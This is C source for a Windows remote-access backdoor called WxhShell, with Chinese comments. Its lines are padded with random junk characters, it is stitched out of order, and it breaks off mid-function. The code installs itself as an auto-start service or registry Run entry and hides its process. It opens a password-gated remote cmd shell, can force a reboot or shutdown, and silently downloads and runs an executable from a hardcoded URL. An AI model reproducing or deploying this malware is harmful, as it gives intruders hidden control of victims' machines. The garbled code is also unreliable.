  case 'd': { h 1 `yW#%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t1%<l  
    if(Boot(SHUTDOWN)) Q"QL#<N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .!`v2_  
    else { eF%IX  
    closesocket(wsh); j[q$;uSD  
    ExitThread(0); =^D{ZZw{  
    } oEuo@\U05v  
    break; B'` jdyaE9  
    } iT}L9\  
  // 获取shell ;x~[om21;  
  case 's': { 4}>1I}!k  
    CmdShell(wsh); HZ.Jc"+M  
    closesocket(wsh); |&xjuBC  
    ExitThread(0); H,5 ##@X  
    break; ?ybX &V  
  } BH$+{rZ8t  
  // 退出 %\n&iRwDF  
  case 'x': { GP._C=]?c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9CW8l0  
    CloseIt(wsh); j9IeqlL  
    break; b/Q\ .!  
    } 9X[}ik0  
  // 离开 y+ ZCuX  
  case 'q': { q=|0lZ$`V_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R404\XGL  
    closesocket(wsh); sxBRg=  
    WSACleanup(); Hz] p]  
    exit(1); DJ#z0)3<p  
    break; c$w}h[  
        } q7'[II;  
  } 0Fi&7%  
  } D_MNF =7  
ok+-#~VTn  
  // 提示信息 avI   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @N0(%o&  
} {x8UL7{  
  } `+go| 5N2  
Q8sCI An{  
  return;  GP/G v  
} ;zl/  
/\B[lRn  
// shell模块句柄 4{1 .[##]o  
int CmdShell(SOCKET sock) VSI.c`=,  
{ 1q[vNP=g&  
STARTUPINFO si; ErDt~FH  
ZeroMemory(&si,sizeof(si)); -S(_ZbeN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }nW)+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G?OwhX  
PROCESS_INFORMATION ProcessInfo; BkTGH.4G%  
char cmdline[]="cmd"; yfD)|lK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @$(/6]4p  
  return 0; L'JEkji"  
} jSj (ZU6  
&$ ?i  
// 自身启动模式 2 #+g4  
int StartFromService(void) 1wqsGad+;  
{ |5}~n"R5  
typedef struct q&-A}]  
{ V %cU @  
  DWORD ExitStatus; Bi +a)_K  
  DWORD PebBaseAddress; vkXdKL(q  
  DWORD AffinityMask; Va1 eG]jQ  
  DWORD BasePriority; L/.$0@$bv  
  ULONG UniqueProcessId; mmVx',k  
  ULONG InheritedFromUniqueProcessId; z <"7vR  
}   PROCESS_BASIC_INFORMATION; h4GR:`  
fi[c^e+IX  
PROCNTQSIP NtQueryInformationProcess; O_p:`h:;M  
;5P>R[p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rp2~d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FJN,er~T[  
jnK8 [och  
  HANDLE             hProcess; kd9GHN;7  
  PROCESS_BASIC_INFORMATION pbi; Ge|& H]W  
1{ -W?n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _cZ`7 ]Z  
  if(NULL == hInst ) return 0; s'V8PN+-  
:95wHmk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %rQ5 <U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {)t6DH#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *6)u5  
%^l77 :O  
  if (!NtQueryInformationProcess) return 0; m4@y58n=  
d8b'Gjwtw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R0y@#}JH  
  if(!hProcess) return 0; 0 mWfR8h0  
] =jnt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3:rH1vG.m  
Qhnz7/a9  
  CloseHandle(hProcess); >8 V;:(nt  
.,K?(O4AY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,~Y5vnaOQ  
if(hProcess==NULL) return 0; b&g9A{t  
$ ;/Ny)"  
HMODULE hMod; &Z+a (  
char procName[255]; )>ed6A1  
unsigned long cbNeeded; [|2uu."$  
@NXGVmY1}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BEM+FG  
'nNw  
  CloseHandle(hProcess); : 5@cj j  
%>uGzQ61  
if(strstr(procName,"services")) return 1; // 以服务启动 j\nnx8`7  
RGGP6SDc  
  return 0; // 注册表启动 &50Kn[  
} #ZIV>(Q\H  
N1Y*IkW"  
// 主模块 VwoCR q*  
int StartWxhshell(LPSTR lpCmdLine) (~TP  
{ $2F*p#l(<Z  
  SOCKET wsl; j>M 'nQ,;d  
BOOL val=TRUE; &b}!KD1  
  int port=0; |,]#vcJP#b  
  struct sockaddr_in door; gU/\'~HG  
HLAYmXX"w  
  if(wscfg.ws_autoins) Install(); V9"Kro  
0.nS306  
port=atoi(lpCmdLine); q+32|k>)  
5cP]  
if(port<=0) port=wscfg.ws_port; p;) ;Vm+8  
_f,q8ZkSr  
  WSADATA data; >ofS'mp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :Qu!0tY  
1+o>#8D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    "t8mQ;n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {!B0&x  
  door.sin_family = AF_INET; TUZ-4{kV"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -(>x@];r0  
  door.sin_port = htons(port); B|%=<1?  
amGQ!$] %#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d {moU\W  
closesocket(wsl); C4Q ^WU+$j  
return 1; G#Z%jO-XN  
} x#| P-^  
T}2a~  
  if(listen(wsl,2) == INVALID_SOCKET) { L]#J?lE&  
closesocket(wsl); Ydmz!CEu  
return 1; oC U8;z  
} b0E(tPw5c  
  Wxhshell(wsl); "twV3R  
  WSACleanup(); @?K(+BGi  
B l'  
return 0; v>g1\y Iw  
XFmnZpqXH  
} W #qM$  
P _Zf(`jJ  
// 以NT服务方式启动 sb(,w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) " %|CD"@  
{ {Y'DUt5j  
DWORD   status = 0; I~"-  
  DWORD   specificError = 0xfffffff; \,JRNL&   
/Os)4yH\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kOR%<#:J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h=4m2m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I]Wb\&$  
  serviceStatus.dwWin32ExitCode     = 0; Qoq@=|7kxa  
  serviceStatus.dwServiceSpecificExitCode = 0; Y!o@"Ct  
  serviceStatus.dwCheckPoint       = 0; 1y_{#,{>  
  serviceStatus.dwWaitHint       = 0; d&?B/E^  
tq@<8?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Um15@p;  
  if (hServiceStatusHandle==0) return; V}9wx%v  
RPaB4>  
status = GetLastError(); :n'QN Gj  
  if (status!=NO_ERROR) ?b8NEVjw  
{ 9z_Gf]J~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LAf!y"A#  
    serviceStatus.dwCheckPoint       = 0; [rPW@|^5  
    serviceStatus.dwWaitHint       = 0; ])~*)I~Y  
    serviceStatus.dwWin32ExitCode     = status; giaO7Qh~  
    serviceStatus.dwServiceSpecificExitCode = specificError; )zUV6U7v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,{8~TVO  
    return; 1 ,D2][  
  } *i%!j/QDAP  
Q:-H U bB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _7$j>xX  
  serviceStatus.dwCheckPoint       = 0; ^5,ASU  
  serviceStatus.dwWaitHint       = 0; ,=6Eju#P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2[M:WZ.1  
} 1P2%n[y  
m> NRIEA6  
// 处理NT服务事件,比如:启动、停止 x:l`e:`y9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CF42KNq  
{ &,$A7:  
switch(fdwControl) Nob(bD5SpE  
{ C(,s_Ks  
case SERVICE_CONTROL_STOP: g4Hq<W"  
  serviceStatus.dwWin32ExitCode = 0; v S%+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Fc&"(!||  
  serviceStatus.dwCheckPoint   = 0; qKO\;e*  
  serviceStatus.dwWaitHint     = 0; )2^OBfl7  
  { $(zJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pd7FU~-  
  } zo\Xu oZ  
  return; })!n1kt  
case SERVICE_CONTROL_PAUSE: ]"CA P%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jsez$m%vs  
  break; / m?Z!  
case SERVICE_CONTROL_CONTINUE: NqF-[G<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hgVwoZ{`]  
  break; 8o{ SU6pH  
case SERVICE_CONTROL_INTERROGATE: x!YfZ*  
  break; gWWy!H  
}; },f7I^s|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )YnB6@=nyk  
} zcZr )Oh  
]e"NJkcm  
// 标准应用程序主函数 9MXauTKI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wk5a &  
{ e|4jT7L}  
Hpsg[d)!  
// 获取操作系统版本 np>*O}r*  
OsIsNt=GetOsVer(); 5Cz:$-+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j:sac*6m  
7rr5$,Mv  
  // 从命令行安装 ^d2g"L   
  if(strpbrk(lpCmdLine,"iI")) Install(); R/^ rh  
fO(.I  
  // 下载执行文件 pxY5S}@  
if(wscfg.ws_downexe) { =_,OucKkYG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >2C;5ba  
  WinExec(wscfg.ws_filenam,SW_HIDE); <N`rcKE%~P  
} j5/H#_ .  
75v*&-  
if(!OsIsNt) { RyM2CQg[  
// 如果时win9x,隐藏进程并且设置为注册表启动 igo7F@_,  
HideProc(); wvh4AE5F|z  
StartWxhshell(lpCmdLine); !*\^-uvaK  
} C]):+F<7  
else 8?)Da&+f  
  if(StartFromService())  XG^  
  // 以服务方式启动 om/gk4S2  
  StartServiceCtrlDispatcher(DispatchTable); [%h^qJ  
else RdY#B;  
  // 普通方式启动 RI%l& Hm  
  StartWxhshell(lpCmdLine); >i ~zG6H  
( Rf)&KN  
return 0; C<7J5  
} B}!n6j`  
(<<eHf,@  
ahf$#UQLb  
4%]{46YnK  
=========================================== -0Q!:5EC  
+X- k)9  
1ii.nt1 u  
xFvSQ`sp  
"?il07+w%  
onmO>q*  
" \e?T 9c6,  
&\(YmY  
#include <stdio.h> [+%*s3`c#  
#include <string.h> uL= \t=  
#include <windows.h> jjbw.n+1  
#include <winsock2.h> REsThB  
#include <winsvc.h> " DFg"  
#include <urlmon.h> fklM Yu4:n  
[n^___7  
#pragma comment (lib, "Ws2_32.lib") npe*A  
#pragma comment (lib, "urlmon.lib") LTCjw_<7  
@z,'IW74V  
#define MAX_USER   100 // 最大客户端连接数 8~I>t9Q+  
#define BUF_SOCK   200 // sock buffer h?O-13v   
#define KEY_BUFF   255 // 输入 buffer :,u+[0-S  
F 4h EfO3  
#define REBOOT     0   // 重启 p;H1,E:Re#  
#define SHUTDOWN   1   // 关机 D\TL6"wo  
#z~oc^J^T  
#define DEF_PORT   5000 // 监听端口 z/T ZOFaM  
M6I1`Lpf  
#define REG_LEN     16   // 注册表键长度 ae<KUThm.  
#define SVC_LEN     80   // NT服务名长度 2V0R|YUt  
H>D_0o<#y  
// 从dll定义API nOB ]?{X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mB :lp=c`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (+U!# T]'D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ML]?`qv '  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }s|v-gRM{  
&]M<G)9  
// wxhshell配置信息 #}gc6T~0  
struct WSCFG { V:+}]"yJ,  
  int ws_port;         // 监听端口 W=b5{ 6  
  char ws_passstr[REG_LEN]; // 口令  {jl4`  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^aC[Z P:  
  char ws_regname[REG_LEN]; // 注册表键名 fvx0]of  
  char ws_svcname[REG_LEN]; // 服务名 V&>7i9lEz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TwkzX|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5_O.p3$tV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eu4x{NmQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hN}X11  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vrbS-Z<S9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [ wROIvV  
$M8'm1R9  
}; B}jZ~/D}  
 O{4m-;  
// default Wxhshell configuration QO,y/@Ph  
struct WSCFG wscfg={DEF_PORT, [sad}@R7  
    "xuhuanlingzhe", IS!+J.2  
    1, z~W@`'f  
    "Wxhshell", -R8RAwsLG  
    "Wxhshell", a[u8x mH  
            "WxhShell Service", Zf"AqGP  
    "Wrsky Windows CmdShell Service", (PNvv/A  
    "Please Input Your Password: ", h%O`,iD2  
  1, olJ9Kfc0  
  "http://www.wrsky.com/wxhshell.exe", EbW7Av  
  "Wxhshell.exe" bT;C8i4b\H  
    }; x}roPhZ  
oYF8:PYB  
// 消息定义模块 bZi>   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (u*]&yk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'Hg(N?1"  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !!QMcx_C#/  
char *msg_ws_ext="\n\rExit."; EmH{G  
char *msg_ws_end="\n\rQuit."; ucn aj|  
char *msg_ws_boot="\n\rReboot..."; mkWIJH  
char *msg_ws_poff="\n\rShutdown..."; XI0O^[/n{  
char *msg_ws_down="\n\rSave to "; vS X 6~m  
D"o>\Q  
char *msg_ws_err="\n\rErr!"; ]EK"AuEz`  
char *msg_ws_ok="\n\rOK!"; '[HFIJ0K!  
saV3<zgx  
char ExeFile[MAX_PATH]; >WpPYUbH  
int nUser = 0; &3JbAJ|;X  
HANDLE handles[MAX_USER]; A6sBObw;  
int OsIsNt; tSm|U<  
?;*mSQA`J  
SERVICE_STATUS       serviceStatus; z!1j8o2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V`%m~#Me  
}Orc;_)r  
// 函数声明 k&**f_b  
int Install(void); |%tR#!&[:g  
int Uninstall(void); $0 l i"+  
int DownloadFile(char *sURL, SOCKET wsh); [qy@g5`  
int Boot(int flag); A>PM'$"sT  
void HideProc(void); *L^{p.K4  
int GetOsVer(void); =tP|sYR]^  
int Wxhshell(SOCKET wsl); )sL:iGU  
void TalkWithClient(void *cs); mg;qG@?  
int CmdShell(SOCKET sock); qV^H vZJ  
int StartFromService(void); J0>Q+Y  
int StartWxhshell(LPSTR lpCmdLine); XGUF9arN  
j{HxX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,wq.C6;&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `@ `CZg  
%xg"e O2x  
// 数据结构和表定义 "NJ!A  
SERVICE_TABLE_ENTRY DispatchTable[] = F;z FKvn  
{ D~1nh%x_  
{wscfg.ws_svcname, NTServiceMain}, ;Y~;G7  
{NULL, NULL} 2D-*Z=5^  
}; 0]WM:6 h  
R#r?<Ofw4  
// 自我安装 /,;9hx  
int Install(void) Bf7RW[ -v  
{ }^QY<Cp|  
  char svExeFile[MAX_PATH]; |mK d5[$  
  HKEY key; 9]S}m[8k  
  strcpy(svExeFile,ExeFile); ;~@2YPj  
X-ml0 =M[  
// 如果是win9x系统,修改注册表设为自启动 <oR Nd3d  
if(!OsIsNt) { iWvgCm4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H,uOshR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O@ "6)/  
  RegCloseKey(key); jeJGxfii  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O<+C$J|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c XY!b=9  
  RegCloseKey(key); eLt6Hg)s`9  
  return 0; 1LE8,Gm&  
    } H8\N~>  
  } hwO]{)%  
} }R J2\CP  
else { GI~;2 `V  
S</" ^C51J  
// 如果是NT以上系统,安装为系统服务 F\XzP\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7lh%\  
if (schSCManager!=0) 5%W3&F6 %  
{ P= ]ZXj[  
  SC_HANDLE schService = CreateService E-Mp|y/V  
  ( c\R! z&y~  
  schSCManager, 9(H8MUF0{  
  wscfg.ws_svcname, K_My4>~Il  
  wscfg.ws_svcdisp, 7tyn?t0n  
  SERVICE_ALL_ACCESS, nVYh1@yLy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]`|bf2*eA  
  SERVICE_AUTO_START, ` "9Y.KU  
  SERVICE_ERROR_NORMAL, !E*-\}[  
  svExeFile, (C. 1'<]  
  NULL, #cApk  
  NULL, *{tJ3<t(1  
  NULL, ha(hG3C  
  NULL, HFf| >&c&  
  NULL ]])i"oew  
  ); HDC`g  
  if (schService!=0) PCFm@S@Q  
  { #}A!Bk  
  CloseServiceHandle(schService); {~=[d`t  
  CloseServiceHandle(schSCManager); FS20OD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %fxGdzu7.  
  strcat(svExeFile,wscfg.ws_svcname); hup]Jk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PS6G 7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); paF2{C)4  
  RegCloseKey(key); vF*H5\ m<a  
  return 0; S#ven&  
    } !Hgq7vZG  
  } >Cf]uiR  
  CloseServiceHandle(schSCManager); [y:6vC   
} OCX?U50am  
} u2F 3>s  
7&+Gv6E  
return 1; 20K<}:5t1  
} H{+U; 6b  
NcPzmW{#;g  
// 自我卸载 9,F(f}(t  
int Uninstall(void) LxG :?=O.  
{ zS?L3*u  
  HKEY key; m@yaF: R  
KJ~f ~2;  
if(!OsIsNt) { 8Y4YE(x5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bg34YmZ  
  RegDeleteValue(key,wscfg.ws_regname); 1ra}^H}  
  RegCloseKey(key); HM<V$ R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bbnAF*7s8  
  RegDeleteValue(key,wscfg.ws_regname); AA@J~qd u  
  RegCloseKey(key); yyZjMnuD  
  return 0; 6vmkDL8{A8  
  } 8T1`TGSFC  
} L1aN"KGMF  
} t<$yxD/R  
else { {9)LHX7dN  
B\4SB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @jjp\~  
if (schSCManager!=0) wCkkfTO  
{ &yYK%~}t[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); id*UTY Tg  
  if (schService!=0) mjH8q&szf  
  { tFb49zbk  
  if(DeleteService(schService)!=0) { 8XTVpf4  
  CloseServiceHandle(schService); BV7GzJ2([{  
  CloseServiceHandle(schSCManager); _tYt<oB~%  
  return 0; AU)Qk$c  
  } Z|3l2ucl  
  CloseServiceHandle(schService);  g\n@(T$)  
  } C YnBZ  
  CloseServiceHandle(schSCManager); r{Xh]U&>k  
} /LJ?JwAvg5  
} w8>p[F5`O  
cDLS)  
return 1; :JPI#zZun  
} rs!J<CRq  
- 5A"TNU  
// 从指定url下载文件 |~'{ [?a*  
int DownloadFile(char *sURL, SOCKET wsh) \ar.(J  
{ koaH31Q  
  HRESULT hr; ZfMJU  
char seps[]= "/"; XD*$$`+#  
char *token; B9+oI c O  
char *file; P 0,]Ud  
char myURL[MAX_PATH]; 4R^'+hy|?  
char myFILE[MAX_PATH]; kigc+R  
qk<tLvD_'  
strcpy(myURL,sURL); Th@L68  
  token=strtok(myURL,seps); ~Fisno  
  while(token!=NULL) Ei}B9 &O  
  { jz/@Zg",  
    file=token; O^ f[ ugs  
  token=strtok(NULL,seps); `qX'9e3VP+  
  } BEu9gu  
'"=C^f  
GetCurrentDirectory(MAX_PATH,myFILE); EjvxfqPv  
strcat(myFILE, "\\"); ^W'\8L  
strcat(myFILE, file); e}7qZ^  
  send(wsh,myFILE,strlen(myFILE),0); A D~\/V&+  
send(wsh,"...",3,0); Px)VDs=k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lQ)ZsFs=  
  if(hr==S_OK) /I: d<A  
return 0; ~!Onz wmO  
else ^${-^w@,%V  
return 1; 011 _(v  
O4( Z%YBe  
} tt#M4n@  
g_.BJ>Uv  
// 系统电源模块 $JcU0tPq0  
int Boot(int flag) y?Fh%%uNr  
{ Z\TH=UA  
  HANDLE hToken; d4gl V`%.  
  TOKEN_PRIVILEGES tkp; E]"ePdZZ/  
G+}|gG8  
  if(OsIsNt) { XnV|{X%]U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); < R0c=BZ>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G4ZeO:r  
    tkp.PrivilegeCount = 1; :m-HHWMN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6ffrV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2Xgn[oI{  
if(flag==REBOOT) { 5a-8/.}cP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t3G%}d?  
  return 0; v@< "b U  
} FWPkvL  
else { ~"{Kjr#R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e>"{nOY4  
  return 0; d0IHl!X  
} -s4qm)\  
  } zn@tLLX  
  else { F5&4x"c  
if(flag==REBOOT) { Ma wio5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R '"J{oR  
  return 0; |jc87(x <  
} AVHn7olG  
else { Kkdd}j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8h-6;x^^  
  return 0; fE7[Sk  
} GT2;o  
} /zPN9 db  
f`H}Y!W(  
return 1; !P#lTyz  
} ${mHbqN  
$wC]S4C  
// win9x进程隐藏模块 wGAN"K:e  
void HideProc(void) .(nq"&u-*  
{ ~99Ta]U  
fs7JA=?:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >.QD:_@:  
  if ( hKernel != NULL ) q4lL7@_  
  { jb fMTb4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :^! wQ""  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O*!+D-  
    FreeLibrary(hKernel); Q]7r?nEEhW  
  } 4 ILCvM  
p}O@ %*p .  
return; sR'rY[^/|  
} I6h{S}2  
Up)b;wR  
// 获取操作系统版本 q<.^DO~$L  
int GetOsVer(void) E#8`X  
{ A]ciox$AjW  
  OSVERSIONINFO winfo; a!xKS8-S==  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); # 1I<qK  
  GetVersionEx(&winfo); &+ JV\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bWG}>{fj  
  return 1; A0o6-M]'0  
  else y}nM'$p  
  return 0; S\s1}`pNm  
} ]p@7[8}  
o+q4Vg9&  
// 客户端句柄模块 k h#|`E#,  
int Wxhshell(SOCKET wsl) l'?/$?'e_Z  
{ x-(?^g  
  SOCKET wsh; xlv:+  
  struct sockaddr_in client; P[aB}<1f0  
  DWORD myID; 4?1Ac7bE  
.KTDQA\  
  while(nUser<MAX_USER) 9e1gjC\c  
{ )xlNj$(x5n  
  int nSize=sizeof(client); ,HYz-sK.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7H++ pOF  
  if(wsh==INVALID_SOCKET) return 1; ,k+jx53XV  
A&)P_B1|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |&h!#Q{7l  
if(handles[nUser]==0) )6^b\`  
  closesocket(wsh); Vr`UF0_3q  
else z35n3q  
  nUser++; y @h^  
  } 3zMmpeq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6D _4o&N  
24>{T5E  
  return 0; j?3J-}XC  
} ?^5W.`Y2i  
9O~1o?ni  
// 关闭 socket D?8t'3no  
void CloseIt(SOCKET wsh) 5"]PwC  
{ ~+V]MT  
closesocket(wsh); y/4 4((O  
nUser--; 64o`7  
ExitThread(0); VBBqoyP h  
} "?}QwtUW  
GVCyVt[!-  
// 客户端请求句柄 Et# }XVCJ  
void TalkWithClient(void *cs) |`E\$|\p  
{ )u'oI_  
.ikFqZ$$  
  SOCKET wsh=(SOCKET)cs; 1h"0B  
  char pwd[SVC_LEN]; jQ1~B1(  
  char cmd[KEY_BUFF]; ~ m, z|  
char chr[1]; x !]ZVl]  
int i,j; pJK puoiX  
4VD'<`R[  
  while (nUser < MAX_USER) { ezC55nm  
eNi.d;8F  
if(wscfg.ws_passstr) { %ktU 51o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y')in7g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ukzXQe;l1  
  //ZeroMemory(pwd,KEY_BUFF); _av%`bb&z9  
      i=0; x]Q+M2g?  
  while(i<SVC_LEN) { }us%G&A2u  
_dIv{L!  
  // 设置超时 %~ZOQ%c1  
  fd_set FdRead; S'B7C>i`#N  
  struct timeval TimeOut; C(7LwV  
  FD_ZERO(&FdRead); !>  
  FD_SET(wsh,&FdRead); 3Akb|r  
  TimeOut.tv_sec=8; '?wv::t  
  TimeOut.tv_usec=0; 2gg5:9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -QI1>7sl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nke[}Hqf  
kG@1jMPtQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !@%m3)T8  
  pwd=chr[0]; e J2wK3R  
  if(chr[0]==0xd || chr[0]==0xa) { )TVyRYZ1  
  pwd=0; \/S?.P#L~  
  break; }7wQFKME  
  } *.ZV.(  
  i++; )I$_wB!UV  
    } f)?s.DvUB  
po\QMe  
  // 如果是非法用户,关闭 socket cQS}pQyYN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  UTHGjE  
} ~^KemwogPN  
/8 Ca8Ju  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f\2'/g}6a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '~<D[](/F  
*"q ~z  
while(1) { i *nNu-g  
!NZFo S~  
  ZeroMemory(cmd,KEY_BUFF); oT_k"]~Q~2  
fL' 42  
      // 自动支持客户端 telnet标准   y3))I\QT  
  j=0; +Y'(,J  
  while(j<KEY_BUFF) { +c+#InsY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0waQw7 E  
  cmd[j]=chr[0]; [1G4he%  
  if(chr[0]==0xa || chr[0]==0xd) { DLJu%5F  
  cmd[j]=0; rP^2MH"  
  break; W 29@`93  
  } Ag#p )  
  j++; Wd3/Y/MD  
    } maXQG&.F  
KR?-<  
  // 下载文件 (VU: &.  
  if(strstr(cmd,"http://")) { ;~tKNytD`B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dHg[0Br)r  
  if(DownloadFile(cmd,wsh)) sj0Hv d9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7K%Ac  
  else svHs&v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dl;^sn0s  
  } `>g: :  
  else { lk)38.  
